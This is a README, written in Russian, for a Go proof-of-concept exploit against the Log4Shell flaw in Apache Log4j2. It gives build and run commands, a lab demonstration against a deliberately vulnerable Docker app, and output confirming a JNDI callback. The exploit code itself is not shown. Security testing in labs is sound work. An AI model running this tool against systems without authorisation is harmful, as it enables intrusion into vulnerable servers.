CVE-2021-44228 PoC (Log4Shell)

⚠️ Предупреждение:
Данный инструмент предназначен только для образовательных целей, исследований в области безопасности и контролируемых тестовых сред.
Использование его против систем без явного разрешения незаконно и полностью лежит на ответственности пользователя.

📌 Описание

Этот проект содержит простой Proof-of-Concept (PoC) эксплойт для уязвимости Apache Log4j2 (CVE-2021-44228).
PoC отправляет специально сформированный HTTP-заголовок с JNDI LDAP-полезной нагрузкой на цель.
Если цель уязвима, она отправит обратный вызов на указанный адрес LHOST.

🚀 Использование

1️⃣ Сборка

go build -o exploit exploit.go

2️⃣ Запуск

sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>

• -r → URL цели (конечная точка уязвимого приложения)
• -l → IP-адрес вашего слушателя обратных вызовов (машина, на которой запущен PoC)

🛠️ Пример

С использованием предоставленного Docker-образа уязвимого приложения:

# Запуск уязвимого приложения
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app

# Запуск эксплойта
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1

Ожидаемый вывод:

[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE